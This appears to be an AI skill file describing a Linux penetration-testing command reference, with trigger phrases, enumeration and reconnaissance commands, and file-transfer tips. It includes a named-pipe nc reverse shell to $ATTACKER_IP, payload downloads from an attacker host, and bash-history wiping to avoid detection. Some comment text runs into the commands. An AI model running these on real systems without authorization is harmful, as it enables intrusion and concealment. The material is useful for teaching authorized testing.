Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation
triggers
["how do I enumerate services on a Linux system","show me Linux commands for privilege escalation","what are the best reconnaissance commands for pentesting","help me with Linux exploitation techniques","how to perform local enumeration on Linux","give me pentesting cheatsheet commands","what Linux commands should I use during post-exploitation","show me how to escalate privileges on Linux"]
This skill provides expertise in using the Linux for a Pentester command reference repository, a curated collection of practical Linux commands used in penetration testing workflows including reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.
What This Project Does
Linux for a Pentester is a practical command reference organized by penetration testing phases:
General Commands: Essential Linux survival commands
Reconnaissance: Local and network information gathering
Enumeration: Deep service and user data discovery
Exploitation: Initial access techniques
Privilege Escalation: Techniques to gain root access
Post-Exploitation: Persistence and lateral movement
Cheatsheets: Quick reference one-liners
Installation
Clone the repository to have offline access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick reference during active testing:
# Add as a shell alias for fast accessecho'alias pentref="cd ~/Linux-for-a-Pentester && ls"' >> ~/.bashrc
source ~/.bashrc
# Basic system informationuname -a # Kernel version and architecturecat /etc/os-release # OS version details
hostname # Current hostnameuptime# System uptime# User contextwhoami# Current userid# User/group IDs and membershipsgroups# Group memberships
Network Reconnaissance:
# Network interfaces and connections
ip addr # Network interfaces
ip route # Routing table
ss -tulpn # Active network connections
netstat -antup # Alternative (older systems)# DNS and hostname resolutioncat /etc/hosts
cat /etc/resolv.conf
2. Enumeration Phase
User Enumeration:
# User and group informationcat /etc/passwd # All userscat /etc/group # All groups
lastlog # Last login information
w # Currently logged-in users# Home directoriesls -la /home/
find /home -type f -readable 2>/dev/null
Service Enumeration:
# Running services
systemctl list-units --type=service --state=running
ps aux # All running processes
ps -ef --forest # Process tree view# Listening services
ss -tulpn | grep LISTEN
lsof -i -P -n # Open network connections
# Port scanning (if nmap unavailable, use native tools)for port in {1..1000}; dotimeout 1 bash -c "echo >/dev/tcp/localhost/$port" 2>/dev/null && echo"Port $port open"; done# ARP scanning
ip neigh
arp -a
File Transfer Techniques
# Python HTTP server (attacker machine)
python3 -m http.server 8000
# Download files (target machine)
wget http://$ATTACKER_IP:8000/file
curl -O http://$ATTACKER_IP:8000/file
# If no wget/curlexec 3<>/dev/tcp/$ATTACKER_IP/8000
echo -e "GET /file HTTP/1.0\r\n\r\n" >&3
cat <&3 > file
# Base64 transfer (small files)# On attacker: base64 file | xclip -selection clipboard# On target: echo "BASE64_STRING" | base64 -d > file
When working with this reference, consider setting these environment variables in your testing environment:
# Set in ~/.bashrc or testing sessionexport ATTACKER_IP="10.10.14.x"# Your attack machine IPexport TARGET_IP="10.10.10.x"# Target machine IPexport LPORT=4444 # Default listening port
Troubleshooting Common Issues
Command Not Found
Some commands may not be available on minimal systems:
# netstat unavailable → use ss
ss -tulpn
# ifconfig unavailable → use ip
ip addr
# wget unavailable → use curl
curl -O http://example.com/file
# nc without -e flag → use named pipe methodrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
Permission Denied Errors
# Redirect stderr to avoid noise
find / -name "interesting" 2>/dev/null
# Use accessible directoriescd /tmp || cd /dev/shm
Always redirect errors when searching: 2>/dev/null
Use /tmp or /dev/shm for temporary files (usually writable)
Clean up after testing to avoid detection
Document findings as you discover them
Test commands in safe environments first
Keep GTFOBins bookmarked for SUID/sudo exploitation
Check LinPEAS/LinEnum output systematically
Integration with Testing Workflow
# Typical engagement flow:# 1. Gain initial access# 2. Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'# 3. Quick wins checksudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
# 4. Deep enumeration# Run automated scripts or manual enumeration# 5. Exploit findings# Based on discovered vectors# 6. Post-exploitation# Gather credentials, maintain access# 7. Cleanuphistory -c && rm ~/.bash_history
This skill provides the command reference needed for practical Linux penetration testing. Refer to the repository's individual directories for more detailed notes on each phase.